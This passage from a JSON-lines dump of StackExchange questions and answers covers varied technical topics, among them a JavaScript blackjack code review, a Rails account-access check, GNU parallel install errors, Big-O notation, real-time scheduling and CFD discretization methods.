parallel-20160522-1.1.noarch--> Processing Dependency: /bin/pdksh for package: parallel-20160522-1.1.noarch--> Finished Dependency ResolutionError: Package: parallel-20160522-1.1.noarch (home_tange)           Requires: /bin/pdkshError: Package: parallel-20160522-1.1.noarch (home_tange)           Requires: /usr/bin/fishError: Package: parallel-20160522-1.1.noarch (home_tange)           Requires: /usr/bin/zshError: Package: parallel-20160522-1.1.noarch (home_tange)           Requires: /usr/bin/ksh You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest"  , "title": "How to get GNU parallel on Amazon Linux?"  , "tags": "amazon ec2;gnu parallel"  } 
{  "id": "_codereview.153251"  , "question": "You can play this game as much as you want and after every game, you win/loss is recorded. Javascript has -0 and +0 so I guess that's why the counter acts weird at the beginning. Took me 4 months to do this (from never having heard of objects to this : feels good). I can't load images here at codereview so the link to the site is hosted here.'use strict'// dom elements and event handlersvar deal = document.getElementById('dealBtn')var hit = document.getElementById('hitBtn')var stand = document.getElementById('standBtn')var reset = document.getElementById('resetBtn')deal.addEventListener('click', playGame)hit.addEventListener('click', goToHitMethod)stand.addEventListener('click', userStands)reset.addEventListener('click', resetGame)var playerSum = document.getElementById('playersum')var dealerSum = document.getElementById('dealersum')var writeResult = document.getElementById('resultbox')var winsCounter = document.getElementById('winscounter')var playerCards = document.getElementById('playercards')var dealerCards = document.getElementById('dealercards')var noOfCardsPlayer = 0,  noOfCardsDealer = 0,  noOfWins = 0// Defining properties and methods for every single card object created by fillPlayingCards functionfunction CardObject(cardNum, cardSuit) {  this.cardNum = cardNum  this.cardSuit = cardSuit}CardObject.prototype.getCardValue = function() {  if (this.cardNum === 'jack' || this.cardNum === 'queen' || this.cardNum === 'king') {    return 10  } else if (this.cardNum === 'ace') {    return 11  } else {    return this.cardNum  }}// Deck object constructer with its properties and methodsfunction DeckObject() {  this.iniDeck = []  this.displayCards = function(cards) { // displaying corresponding card images on DOM    // var fragment = document.createDocumentFragment()    for (var i = 0; i < cards.length; i++) {      var imgElement = document.createElement('img')      imgElement.src = 'Images/' + cards[i].cardNum + '_of_' + cards[i].cardSuit + '.png'      imgElement.style.height = '120px'      imgElement.style.width = '100px'        // fragment.appendChild(imgElement) only child nodes of fragment are added on DOM //      if (this === mainPlayer) {        noOfCardsPlayer++        playerCards.appendChild(imgElement)      } else {        noOfCardsDealer++        dealerCards.appendChild(imgElement)      }    }  }  this.sumCards = function(cards) { // adding numeric values of given cards    var sum = 0,      aces = 0    for (var i = 0; i < cards.length; i++) {      if (cards[i].getCardValue() === 11) { // checking for aces if >21, sum is decreased by 10        aces += 1        sum = sum + cards[i].getCardValue()      } else {        sum = sum + cards[i].getCardValue()      }    }    while (aces > 0 && sum > 21) {      aces -= 1      sum -= 10    }    return sum  }  this.hitCard = function(cards) {    var soloCard = [] // when we extract the last card, it comes off as an object. So we store that obj here inside this array to be able to pass it to displayCard() function    var extraCard = cards.push(PlayingDeck.iniDeck.pop())    soloCard.push(cards[extraCard - 1]) // push only the last added card and display it    this.displayCards(soloCard)    if (this === mainPlayer) {      checkIfBust()    }  }}// Main deck used to play the gamevar PlayingDeck = new DeckObject();(function fillPlayingDeck() { // Filling the main deck with card objects  var listCardNum = ['ace', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'jack', 'queen', 'king']  var listCardSuits = ['clubs', 'diamonds', 'hearts', 'spades']  for (var i = 0; i < listCardNum.length; i++) {    for (var j = 0; j < listCardSuits.length; j++) {      PlayingDeck.iniDeck.push(new CardObject(listCardNum[i], listCardSuits[j])) // generating 52 new card objects    }  }  var len = PlayingDeck.iniDeck.length,    randomNum, tempValue  while (len) { // Fischer-Yates shuffling Algorithm    randomNum = Math.floor(Math.random() * len--)    tempValue = PlayingDeck.iniDeck[len]    PlayingDeck.iniDeck[len] = PlayingDeck.iniDeck[randomNum]    PlayingDeck.iniDeck[randomNum] = tempValue  }}())// player and dealer function objectsvar mainPlayer = new DeckObject()function player() {  mainPlayer.iniDeck.push(PlayingDeck.iniDeck.pop(), PlayingDeck.iniDeck.pop())  mainPlayer.displayCards(mainPlayer.iniDeck)  playerSum.value = mainPlayer.sumCards(mainPlayer.iniDeck)}var mainDealer = new DeckObject()function dealer() {  mainDealer.iniDeck.push(PlayingDeck.iniDeck.pop(), PlayingDeck.iniDeck.pop())  mainDealer.displayCards(mainDealer.iniDeck)  dealerSum.value = mainDealer.sumCards(mainDealer.iniDeck)}// function that compares if player has busted or not everytime he/she hitsfunction checkIfBust() {  var playerScore = mainPlayer.sumCards(mainPlayer.iniDeck)  var dealerScore = mainDealer.sumCards(mainDealer.iniDeck)  playerSum.value = playerScore  dealerSum.value = dealerScore  if (playerScore > 21) {    writeResult.value = 'You BUSTED !!'    noOfWins -= 1    winsCounter.value = noOfWins    disableHitStand()  } else if (playerScore === 21) {    writeResult.value = 'It\\'s 21. You win !!'    noOfWins += 1    winsCounter.value = noOfWins    disableHitStand()  }}// function that runs on hitfunction goToHitMethod() {  mainPlayer.hitCard(mainPlayer.iniDeck)}// function that runs if user standsfunction userStands() {  var playerScore = mainPlayer.sumCards(mainPlayer.iniDeck)  var dealerScore = mainDealer.sumCards(mainDealer.iniDeck)  playerSum.value = playerScore  while (dealerScore < 17) {    mainDealer.hitCard(mainDealer.iniDeck)    dealerScore = mainDealer.sumCards(mainDealer.iniDeck)    dealerSum.value = dealerScore  }  if (dealerScore > playerScore && dealerScore <= 21) {    writeResult.value = 'Dealer won with ' + dealerScore    noOfWins -= 1    winsCounter.value = noOfWins    disableHitStand()  } else if (playerScore > dealerScore || dealerScore > 21) {    if (playerScore === 21) {      writeResult.value = 'You won with BLACKJACK !'      noOfWins += 1      winsCounter.value = noOfWins      disableHitStand()    } else {      writeResult.value = 'You won with ' + playerScore      noOfWins += 1      winsCounter.value = noOfWins      disableHitStand()    }  } else {    writeResult.value = 'Both tied with ' + playerScore    disableHitStand()  }}// function that disables hit and stand button after result is shown.function disableHitStand() {  stand.disabled = true  hit.disabled = true}// main game function on 'deal' button clickfunction playGame() {  player()  dealer()  deal.disabled = true  stand.disabled = false  hit.disabled = false}// game reset on 'reset' button clickfunction resetGame() {  writeResult.value = ''  dealerSum.value = ''  playerSum.value = ''  deal.disabled = false;  (function removeImages() {    var playerCardImages = playerCards.childNodes    var dealerCardImages = dealerCards.childNodes    for (var i = noOfCardsPlayer; i > 0; i--) {      playerCardImages[i].parentNode.removeChild(playerCardImages[i])    }    for (var j = noOfCardsDealer; j > 0; j--) {      dealerCardImages[j].parentNode.removeChild(dealerCardImages[j])    }  }())  mainPlayer.iniDeck = []  mainDealer.iniDeck = []  noOfCardsDealer = 0  noOfCardsPlayer = 0}html {  margin: 0;  padding: 0;  box-sizing: border-box;  font-family: Roboto, sans-serif;  text-rendering: optimizeLegibility;  font-weight: 200;  font-size: 20px;  color: #ffffff;}body {  background-color: #112b42;}h2 {  text-align: center;  margin: 0 auto;}#container {  background-color: #562308;  margin: 1em;  padding: 1%;  width: 50%;  margin-left: 25%;}.images {  background-color: #112b42;  padding: 1%;}#playercards {  margin: 0 auto;  padding: 0.5%;  background-color: #31172a;  height: 125px;}#dealercards {  margin: 0 auto;  padding: 1%;  background-color: #062c09;  height: 125px;}.dealreset {  display: block;  text-align: center;}button.truncate {  overflow: hidden;  text-overflow: ellipsis;  white-space: nowrap;}#dealBtn,#resetBtn {  width: 15%;  height: 10%;  display: inline-block;  position: relative;  margin: 1% 30%;  border-radius: 20px 2px;  overflow-wrap: break-word;  /* when text-overflows break the letters and wrap in new-lines */}.hitstand {  display: block;  text-align: center;}#hitBtn,#standBtn {  width: 15%;  height: 10%;  display: inline-block;  margin: 0.5% 15%;  position: relative;  border-radius: 1% 2%;  overflow-x: hidden;  /* hide text that overflows in x-axis */  text-overflow: ellipsis;  /* add ... in button to show that some text is there */}input[type=text] {  border-radius: 5%;}.sumdisplay {  display: block;  text-align: center;}#playersum,#dealersum {  display: block;  margin: 1% auto;  font-weight: bold;  text-align: center;  font-size: 16px;  padding: 1px;  max-width: 100%}#show {  margin-top: 1%;  text-align: left;  display: inline-block;}#resultbox {  display: inline-block;  max-width: 85%;  font-size: 15px;  font-weight: bold;  color: #5500ff;}#counter {  display: inline-block;  margin-top: 1%;  text-align: center;}#winscounter {  display: inline-block;  font-size: 15px;  font-weight: bold;  max-width: 10%;  border: solid;  border-radius: 20%;  padding: 1px;  text-align: center;}footer {  text-align: center;  font-family: Impact;  position: relative;}a:link {  text-decoration: none;}a:hover,a:visited {  color: red;}<!DOCTYPE html><html><head>  <meta charset=utf-8>  <title>Blackjack game by Bijay</title>  <link rel=stylesheet type=text/css href=blackjack.css></head><body>  <h2> bLaCkJaCk </h2>  <div id=container>    <div class=images>      <div id=playercards>      </div>      <div id=dealercards>      </div>    </div>    <div class=buttons>      <div class=dealreset>        <button id=dealBtn>Deal</button>        <button id=resetBtn>Reset</button>      </div>      <div class=hitstand>        <button id=hitBtn>Hit</button>        <button id=standBtn>Stand</button>      </div>    </div>    <div class=sumdisplay>      Your score :      <input type=text id=playersum value=>Dealer score :      <input type=text id=dealersum value=>    </div>    <div class=result>      <div id=show>Result :        <input type=text id=resultbox>      </div>      <div id=counter>Wins Counter :        <input type=number id=winscounter>      </div>    </div>  </div>  <footer>    <p>You can find the source code at my<a href=https://github.com/bijay007/BlackJack> GitHub </a>repository</p>  </footer></body><script src=blackjack.js></script></html>"  , "title": "Single Player Repeatable BlackJack Game"  , "tags": "javascript;object oriented;playing cards"  , "accepted_answer": "Good job on writing a full game! But I do have a review:Semi-colonsJavaScript lines should end with a semi-colon. Your code works, yes, but that's because the interpreter figures out where semicolons should go, and inserts them itself. I don't like relying on that. It can lead to some weird bugs.To me, it's a bit like lazy texting, like r u there yet. Yes it gets the point across but it's not English. If you're writing code, take it seriously and be formal.Also, you current code can't necessarily be minified. Nave minification will just remove whitespace and linebreaks, so without semicolons your code just becomes one long line of run-on nonsense. Good minifiers don't suffer from this, though.(Edit: Before the flamewars start, yes, this is my opinion as much as anything. In the comments OP mentions the standardjs style guide, which says No semicolons. I just plain disagree. But I encourage anyone to read standardjs's references and reasons as well, and form their own opinion. Meanwhile, I'll still use semicolons, and I'll keep encouraging others to do the same.)NamingGiving things an *Object suffix is redundant - and sort of incorrect. It's redundant because, well, object-oriented programming uses objects. What's interesting is what those object represent. So your DeckObject should just be called Deck. It doesn't represent a deck object, it represents a deck.The suffix is also sort of incorrect because DeckObject and CardObject are constructors: They instantiate objects rather than being objects themselves1. It'd make more sense to say deckObject = new Deck();.Also, PlayingDeck shouldn't be capitalized, since it's not a constructor. It's just a variable, and so should be playingDeck.PrototypingYour DeckObject constructor essentially creates a blank object, and then adds all sorts of methods to it with this.sumCards = ... etc.. There's no real reason for this, as none of the functions use closures to simulate private variables or anything like that.Your CardObject constructor does better: It adds its methods as prototype methods. DeckObject should do the same with its methods.The difference is very subtle in practice (and in your particular code it doesn't actually make any difference what approach you take). But think of the prototype as the template for instances: Methods on the prototype automagically exist on every instance based on that prototype.Conversely, methods added in constructor are only added to the instance being constructed. In this case, since it's done in the constructor, all instances will - in your case - still end up having the same methods, and they'll behave the same, but each instance will have its own copy of the methods - they're not part of the template.Mixing responsibilitiesWhy is the DeckObject in charge of figuring out image URLs? The images are for the cards, so it'd make more sense for the cards to have that responsibility. The images belong to the cards; not the deck.Similarly, why isn't the deck responsible for shuffling itself? Calling someDeck.shuffle() would be more natural.Also, for some reason the DeckObject methods like sumCards take an array of cards. Why? If it's a deck, doesn't it have its own cards? It seems you're not using the deck to model a collection of cards, but as a namespace for methods instead. Which sort of defeats the point. You get things like:dealerSum.value = mainDealer.sumCards(mainDealer.iniDeck)when it'd make more sense to write:dealerSum.value = mainDealer.sum();(Incidentally, why is it called main dealer? Is there a non-main dealer in a game of Blackjack? Again, the naming is a little odd.)You also have functions that do too much compared to their names. For instance, checkIfBust does check if the player busted, but it also tallies the score and updates the UI. Not what it says on the tin. Such mixing of concerns also makes it more difficult to change things later. E.g. if you just want to check if a hand is bust, you can't do that without either triggering a UI update, repeating code to check a hand's score, or refactoring checkIfBust to not do so many different things.I'd separate the game logic from the UI concerns. Create something that that can just play Blackjack in the console, and then worry about UI and presentation. Build a support structure around your core Blackjack engine to display the game state.Domain modellingWhat objects does a Blackjack game consist of? Deck, dealer, player, and hands. The latter isn't modelled in your code? Instead you model your players as decks, which is a little... off.True, both are collections of cards, but a hand has a score/sum, a deck does not; a hand can receive new cards, a deck cannot; cards can be drawn from a deck, but not from a hand; decks can be shuffled, hands cannot. And so on. So the two models are very different.I'd do something like this (this is just a sketch/skeleton):function Card(suit, value) {  this.suit = suit;  this.value = value;  this.imageUrl = ...;}function Deck() {  this.cards = ...; // create a deck of Card objects  this.shuffle();}Deck.prototype = {  // shuffles the deck  shuffle: function () { ... },  // pops a card of the stack  draw: function () { ... }};function Hand() {  this.cards = [];}Hand.prototype = {  // adds a card to the hand, e.g. hand.addCard(deck.draw())  addCard: function (card) { ... },  // checks if bust  isBust: function () { ... },  // checks for blackjack  isBlackjack: function () { ... },  // sums card values  score: function () { ... }};RulesOne nit-pick: A blackjack typically means Ace + face card. You can get 21 using many other combinations, but a proper blackjack beats a combined 21. So if I get 10+7+4, and dealer gets A+J, the dealer wins. Your code calls any sum of 21 blackjack... except if the dealer gets that score, in which case it just says 21. This also tells me (without looking at the code), that you're handling scoring differently for the player and the dealer, even though it should be the same logic.1 Before someone nit-picks: Yes, constructors are functions, and functions in JavaScript are objects. So DeckObject can be said to be a correct name, because a constructor is an object... but again, redundancy. If anything it should then be DeckConstructorFunctionObject"  } 
{  "id": "_webapps.2644"  , "question": "Whenever I upvote someone's comment on youtube it seems like it has no effect - likes counter is not increasing (I though it is cached but even if I come back later nothing is changed). Do I need to have some rep power for upvoting or comment vote counter is just not 1-to-1 with votes (like 10 votes is required for +1)?"  , "title": "How does upvoting comments on Youtube work?"  , "tags": "youtube"  } 
{  "id": "_unix.305723"  , "question": "When I try to install Mint, I get an error saying:(Some stuff I didn't record, can get if necessary)......Without the GRUB boot loader, the installed system will not bootThings I've tried:1: Disabling hibernation. Actually, this results in an error Unable to perform operation, but I've been taking that to mean it's already off, since I can't hibernate anyway2: Disabling fast startup (In Control Panel Power Options)3: Sacrificing a goat to the Linux deities4: Adding 500 MB to the /boot directory when installing. This did nothing, normally I've just been giving 2000 MB swap and 75000 MB root ('/')5: Disabling Secure Boot (In the UEFI settings)Any help? My thought at this point is just to install GRUB or another bootloader (suggestions?) separately before Mint, then installing Mint so Mint doesn't have to do it itself, because I'm really not sure why it's not working. At the very least that might give a more detailed error message I'm thinking?"  , "title": "GRUB bootloader won't install when installing Linux Mint on Surface Book"  , "tags": "linux mint;system installation;grub;boot loader;surface"  } 
{  "id": "_unix.330719"  , "question": "Sorry if this question has already been asked, but after googling I've been unable to find the right answer. I'm not sure I'm asking the question correctly, so I've come to you for help.I have a directory full of file names that need to be changed. I don't need to simply rename a suffix or prefix, but rather to completely rename the files.I have the new file names contined a file called new_names.What command can I use to read the names contained in new_names & rename the files in a directory?Thanks very much for any tips, links, or correct jargon to google for."  , "title": "How to change file names in a directory to new names contained in a file?"  , "tags": "rename"  } 
{  "id": "_scicomp.10120"  , "question": "I am not sure if this is the correct place to ask this question!Is there a data set such as the University of Florida Sparse Matrix Collection which  is produced from stencil operations?Or is there a way to generate such sparse matrices, maybe using Matlab?"  , "title": "Sparse matrices that represent common stencil operations"  , "tags": "matlab;matrices;sparse"  , "accepted_answer": "I assume that you are looking for matrices that come from, e.g., finite differences applied to a PDE.You may try the matrix market. There you can search for matrices from common PDE applications. In Matlab there is the function del2 that returns a matrix representing a discrete Laplace operator."  } 
{  "id": "_codereview.63519"  , "question": "I have a #change_account action in the accounts controller that verifies if the user has access to the requested account prior to changing the current_account which happens via setting the session[:account]. I am trying to find the best way/place to check that the user has access to the account.class AccountsController < ApplicationController#removed rest of controller that doesn't apply  def change_account    if check_if_user_has_access(params['user_account']['id'])      session[:account] = (params[:user_account][:id])      flash[:notice]= 'Successfully Changed Account!'    else      flash[:alert]= 'No access to this Account!'    end    redirect_to root_path  end  private    def check_if_user_has_access(requested_account)      current_user.user_accounts.any? {|h| h[:account_id] == requested_account.to_i}      endendI'm not sure if the logic should be kept in the controller or potentially placed in a service object. I have seen a few explanations that say that service objects are best used for complex actions which this doesn't seem to fit. The model doesn't seem like a good fit, whether in the user_accounts or accounts models.Here is how I take the session variable and update the current_account:class ApplicationController < ActionController::Base  protect_from_forgery with: :exception  private  def current_account    if current_user.user_accounts.where(active: true).count >= 1      session[:account] = current_user.user_accounts.first.account_id if session[:account].nil?      current_user.user_accounts.find_by_account_id(session[:account]).account    else      nil    end  end  helper_method :current_accountendOr I could call a service object such in my controller:if VerifyAccessToAccount.call(params['user_account']['id'], current_user)and then set up the service object:class VerifyAccessToAccount  def self.call(requested_account, user)    user.user_accounts.any? {|h| h[:account_id] == requested_account.to_i}  endend"  , "title": "Rails Controller vs Service Object for Application Logic"  , "tags": "ruby;ruby on rails;authorization"  } 
{  "id": "_codereview.141308"  , "question": "I have this code to translate text using google translate mobile site. currently text size is limited by the request method.Everything else seems to works just fineI am also about to post this on PyPi but I don't know how I should name the package, the file and the function(basically today you must doimport translate.translatetranslate.translate.translate(hello)which seems really bad, how should I name this?)Could you suggest any improvements to this :#!/usr/bin/env python# encoding: utf-8import sixif (six.PY2):    import urllib2    import re    import urllibelse:    import urllib.request    import urllib.parse    import reagent = {'User-Agent' : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)}def translate(to_translate, to_language=auto, language=auto):        Returns the translation using google translate    you must shortcut the language you define (French = fr, English = en, Spanish = es, etc...)    if you don't define anything it will detect it or use english by default    Example:    print(translate(salut tu vas bien?, en))    hello you alright?        base_link = http://translate.google.com/m?hl=%s&sl=%s&q=%s    if (six.PY2):        link = base_link % (to_language, language, urllib.pathname2url(to_translate))        request = urllib2.Request(link, headers=agent)        page = urllib2.urlopen(request).read()    else:        link = base_link % (to_language, language, urllib.parse.quote(to_translate))        request = urllib.request.Request(link, headers=agent)        page = urllib.request.urlopen(request).read().decode(utf-8)    expr = r'class=t0>(.*?)<'    result = re.findall(expr, page)    if (len(result) == 0):        return ()    return(result[0])if __name__ == '__main__':    to_translate = 'Bonjour comment allez vous?'    print(%s >> %s % (to_translate, translate(to_translate)))    print(%s >> %s % (to_translate, translate(to_translate, 'es')))    print(%s >> %s % (to_translate, translate(to_translate, 'ar')))"  , "title": "Translating text using Google Translate mobile site"  , "tags": "python;web scraping"  } 
{  "id": "_cs.44213"  , "question": "What is the simplest example of a rewriting system from binary strings to binary strings$$f:\\Sigma^*\\rightarrow\\Sigma^*\\qquad\\Sigma=\\{0,1\\}$$that can perform universal computation? Binary string rewriting systems in general can compute any computable function, but I have trouble finding particular instances that can by themselves compute any computable function given an appropriate input.  I've seen statements that a class of rewriting systems (e.g., the set of cyclic tag systems) is Turing-complete, but I'm looking for a single rewriting system that is universal.I was thinking a self-modifying bitwise cyclic tag system might be a candidate, but I'm not sure how to interpret the output of such a system."  , "title": "Universal binary rewriting system"  , "tags": "computability;turing machines;strings;computation models;term rewriting"  } 
{  "id": "_softwareengineering.91274"  , "question": "I been struggling to understand few concepts but no success yet. Can someone help me to understand that with simple example and definition please.1 - Delegates in .NET2 - Abstraction3 - Three tier architectureThanks"  , "title": "Need help on understanding few OOP & programming related concepts"  , "tags": "interview"  , "accepted_answer": "Delegates in C#: Think of a delegate as a class, but an instance of that class would be a method rather than an object. The delegate is defined by the signature of the method which will be assigned to it. The instance variable may be called as if it were the method itself.Given this example:public delegate string StringWrapperDelegate(string input);public string WrapInSquareBrackets(string input){    return string.Format([{0}], input);}public string WrapInChevrons(string input){    return string.Format(<{0}>, input);}public void DisplayWrappedString(StringWrapperDelegate wrapper, string input){    Console.WriteLine(wrapper(input));}You can now call DisplayWrappedString, passing either of the WrapInXxx methods as an argument, for example:DisplayWrappedString(WrapInChevrons, test);Abstraction: This is very much a conceptual thing meaning anything which hides implementation details from the calling code. A delegate is a good example of this, as seen above. DisplayWrappedString knows nothing of the implementation of the wrapper method it is calling.Three-tier architecture: This is where there is a physical or notional boundary between the presentation layer (strictly UI logic, which should be minimal), the business layer (all business rules and logic) and the data layer (data access code, also minimal).The presentation layer generally communicates user requests to the business layer, which in turn accesses the data layer if it needs to. The important part of this, conceptually, is that the presentation layer should not talk directly to the data layer."  } 
{  "id": "_softwareengineering.298002"  , "question": "We have big legacy code working for big corporation connecting to multiple remote/local databases.The configuration files with IP, name and password for connecting to different databases are now handled manually. We have these files in git, but our passwords rotate on different schedule than our deployment, so we need to directly edit the configs on our servers(production, UAT, testing, development).This is really tedious task and errors appear regularly. Different servers are connected to different databases and connecting multiple times with bad password will lock the id.We are thinking about creating a service to distribute the config files into the servers. The idea is, that every midnight, some bash script on the server will access this service, and rewrite config files with data provided by this service.Than, we only need to store name of server(to tell the service, which config we need) and SSH key to connect to service. The question is, is this good solution? I see the problem that when one ssh key gets compromised, than all our passwords are available. Is there some other more standard way to solve our problem?"  , "title": "Creating service to distribute passwords to architecture"  , "tags": "configuration;passwords;configuration management;services"  , "accepted_answer": "You can use some Deployment management tool like Ansible ( my personal favourite, needs only python2, and public SSH keys added on server nodes ), Chef, Salt, and Puppet.The question is, is this good solution? I see the problem that when one ssh key gets compromised, than all our passwords are available. Is there some other more standard way to solve our problem?You can use different SSH keys for different servers/services and have this distribution service on small device ( like Raspberry Pi ), that doesn't have any open ports ( no SSH, only local management! ).And in strong security scenario protect those SSH keys with password which will be provided by an admin ( each day ) and stored in encrypted memory ( and protected by IOMMU )."  } 
{  "id": "_softwareengineering.305104"  , "question": "How would one go about designing classes for a system in which two components depend on each other?For a more concrete example, consider this scenario, you're designing a piece of software to manage students, teachers and classes in an educational facility. For convenience purposes, you'd like your Class object to be able to query for the Students that are enrolled within its instance. At the same time, you'd like to know what Classes a Student is enrolled in.A simple design may have include a container that holds instances of type Class in the Student object, and a container that holds instances of Student in the Class object. It does the job but it introduces a cyclic dependency between both classes. Usually, this is looked down upon [citation needed], but it sounds like a valid design where this could be beneficial.Is there a reason why it would be a bad idea to do so? And how could this situation be rectified without introducing significant performance overhead?"  , "title": "Designing classes that depend on each other"  , "tags": "design;object oriented;circular dependency"  , "accepted_answer": "Looking at the relationsship between classes and students it is not as simple as classes have a list of the students participating and students have a list of classes they are participating in.You might have to model students that are no longer participating in a class, classes that have been cancelled, students on waiting lists etc.The best solution would be a collection of enrollments. Each enrollment might be 'active', 'dropped out', 'class cancelled', 'waiting list' etc. You can add new enrollment types without ever changing the classes or student classes.The enrollment collection then have methods to get a collection of either classes or students.This could be something like enroll.Active(chem101) to get the active students for chemistry 101 or enroll.DroppedOut(bent) to get all the classes Bent has dropped out of due to spending too much time on stackexchange."  } 
{  "id": "_cogsci.12660"  , "question": "I think that people talk for planning immediate benefits or planning future benefits. For example if someone wants to eat a fruit on a tree but he doesn't know how to get it so he asks someone to get it for him so he talks. So do you think that these are the correct reasons why people talk?"  , "title": "Why do people talk (or communicate)?"  , "tags": "social psychology;communication;speech;speech comprehension"  } 
{  "id": "_softwareengineering.132331"  , "question": "Help! I have a question where I need to analyze the Big-O of an algorithm or some code.I am unsure exactly what Big-O is or how it relates to Big-Theta or other means of analyzing an algorithm's complexity.I am unsure whether Big-O refers to the time to run the code, or the amount of memory it takes (space/time tradeoffs).I have Computer Science homework where I need to take some loops, perhaps a recursive algorithm, and come up with the Big-O for it.I am working on a program where I have a choice between two data structures or algorithms with a known Big-O, and am unsure which one to choose.How do I understand how to calculate and apply Big-O to my program, homework, or general knowledge of Computer Science?Note: this question is a canonical dupe target for other Big-O questions as determined by the community. It is intentionally broad to be able to contain a large amount of useful information for many Big-O questions. Please do not use the fact that it is this broad as an indication that similar questions are acceptable."  , "title": "What is O(...) and how do I calculate it?"  , "tags": "algorithms;complexity;big o"  , "accepted_answer": "The O(...) refers to Big-O notation, which is a simple way of describing how many operations an algorithm takes to do something.  This is known as time complexity.In Big-O notation, the cost of an algorithm is represented by its most costly operation at large numbers. If an algorithm took n3 + n2 + n steps, it would be represented O(n3). An algorithm that counted each item in a list would operate in O(n) time, called linear time. For a list of the names and classic examples on Wikipedia: Orders of common functionsRelated material:Plain English explanation of Big O (SO)Is there a system behind the magic of algorithm analysis? (CS.SE)A beginner's guide to Big O notationAlgorithms: Design and Analysis"  } 
{  "id": "_unix.352732"  , "question": "I am currently switching to fish shell.However, I am a bash one-liner lover and also for compatibility consideration. I think to use bash -c 'bash one liner' should be good.However, some of my one-liner related to ~/.bashrc. Is it possible for bash -c to source ~/.bashrc before it runs command?"  , "title": "Is it possible for 'bash -c' to use bashrc?"  , "tags": "bash"  } 
{  "id": "_unix.240212"  , "question": "Any distro really, but I am first and foremost interested in Debianoids and Rheloids.Once in a while I hear of someone who insists on keeping a full local copy of an entire distro. According to wikipedia, Debian Jessie has more than 43000 packages. Suppose I want a local copy of all of them, on a system with limited access to the internet and the Debian repositories. This cannot occupy more than a 100 GB (which is reasonably cheap by today's standards). How would I even proceed getting them, for a given stable release? I mean the entire dependency graph of all the packages a distro has been working on for a given release...Scientific Linux/CentOS/RHEL have a dual layer everything DVD, but it's less than 7 GB, so I doubt it's really everything."  , "title": "Full local copy of an entire distro?"  , "tags": "debian;scientific linux"  } 
{  "id": "_softwareengineering.260884"  , "question": "To deal with transient overloads with a real-time system scheduled with rate-monotonic scheduling, one can use period transformation to reduce the period of important processes so that they have greater priority. In Scheduling Hard Real-Time Systems: a Review, A. Burns says (pages 4 to 5 of the PDF) that this can be done by:either adding two delay requests into the body of the code.or instructing the runtime system to schedule it as three shorter processes.I understand how splitting it into smaller pieces can work, but how does adding delay requests work?  Does the scheduler look at the process and use the the delay requests as the dividing points for splitting it into three pieces, meaning that for #1 above the programmer is explicitly telling the scheduler how to divide it into pieces, while for #2 the scheduler is guessing about how to split it?NOTE: I'm trying to understand the theory of period transformation; I'm not asking for the purpose of implementing anything."  , "title": "Real-time theory: how is period transformation implemented with delay requests?"  , "tags": "theory;scheduling;real time"  , "accepted_answer": "Burns's paper (being a review) leaves out the affects of inserting delays, so we'll have to turn elsewhere for an answer. The particular section references Task scheduling in distributed real-time systems by L. Sha, J.P. Lehoczky, and R. Rajkumar. If you could get ahold of that paper, it should clarify how delay insertion reduces task periods. Sadly, I cannot, so have to resort to supposition.What happens is almost what you suppose, but the scheduler doesn't need to inspect the process's internals (i.e. it doesn't need to check for the delay) or make any decisions; the natural affects of the delay do the necessary scheduling work. By delay, I'm assuming a call to sleep() (or similar), which allows for cooperative multitasking. When considering the following, keep in mind how the scheduler determines period: by keeping track of how long it's been since the process was last schedulable (perhaps using exponential averaging).There are two relevant affects of sleep(): the process will be suspended (i.e. removed from scheduling), and will get rescheduled after the delay ends. When the process wakes up, the most recent period began when the process was last schedulable, which is the delay period plus the previous execution time. Consequently, the subtasks can be considered to be tasks with period equal to the delay plus the previous subtask's execution time (note that the subtask period could be considered as consisting of other delay times or subtask execution times; to simplify matters, the requested delays should be equal and the subtask execution times be as close as possible). In other words, a task of period p and average execution time e is turned into n subtasks with period p/n and execution time e/n.For example, Burns's paper mentions a process P2 that runs every 30 seconds for 3 seconds. Inserting two calls to sleep(9) around 1 and 2 seconds along transforms the task into three subtasks of period 10 and average execution time of 1 second. I believe the delay must be 9 seconds, as shortening the delays would increases the period between the 3rd and 1st subtasks (when it comes around again), increasing the period for the 1st subtask, which would reduce its priority."  } 
{  "id": "_scicomp.2357"  , "question": "The other day, my computational fluid dynamics instructor was absent and he sent in his PhD candidate to substitute for him.  In the lecture he gave, he seemed to indicate several disadvantages associated with various discretization schemes for fluid flow simulations:  Finite Difference Method:  It is difficult to satisfy conservation and to apply for irregular geometries  Finite Volume Method:  It tends to be biased toward edges and one-dimensional physics.  Finite Element Method:  It is difficult to solve hyperbolic equations using FEM.Discontinuous Galerkin:  It is the best (and worst) of all worlds.Fluctuation Splitting:  They are not yet widely applicable.  After the lecture, I tried asking him where he got this information but he did not specify any source.  I also tried to get him to clarify what he meant by DG being the best and worst of all worlds, but couldn't get a clear answer.  I can only assume that he came to these conclusions from his own experience.  From my own experience, I can only verify the first claim that FDM is difficult to apply to irregular geometries.  For all other claims, I don't have sufficient experience to verify them.  I'm curious how accurate these claimed 'disadvantages' are for CFD simulations in general.  "  , "title": "Disadvantages of common discretization schemes for CFD simulations"  , "tags": "numerics;fluid dynamics"  , "accepted_answer": "The proposed characteristics are reasonable in the sense that they roughly represent popular opinion. This question has massive scope, so I'll just make a few observations now. I can elaborate in response to comments. For more detailed related discussion, see What are criteria to choose between finite-differences and finite-elements?Low order conservative finite difference methods are readily available for unstructured grids. High order non-oscillatory FD methods are another matter. In Finite Difference WENO schemes, the physics appears in a flux splitting that is not available for all Riemann solvers.Finite volume methods work fine in multiple dimensions, but to go higher than second order for general flow structures, you need extra face quadrature points and/or transverse Riemann solves, greatly increasing the cost relative to FD methods. However, these FV methods can be applied to non-smooth and unstructured meshes and can use arbitrary Riemann solvers.Continuous finite element methods can be used for CFD, but stabilization becomes delicate. It is not usually practical to have strictly non-oscillatory methods and stabilization often needs additional information like entropy. When the consistent mass matrix is used, explicit time stepping becomes much more expensive. Continuous Galerkin methods are not locally conservative, which causes problems for strong shocks. See also Why is local conservation important when solving PDEs?Discontinuous Galerkin methods can use any Riemann solver to connect elements. They have better inherent nonlinear stability properties than the other common methods. DG is also rather complicated to implement and is not generally monotone inside an element. There are limiters for DG that ensure positivity or a maximum principle.There are other methods like Spectral Difference (e.g. Wang et al 2007 or Liang et al 2009) that have the potential to be very efficient (like Finite Difference), while having more geometric flexibility and high order 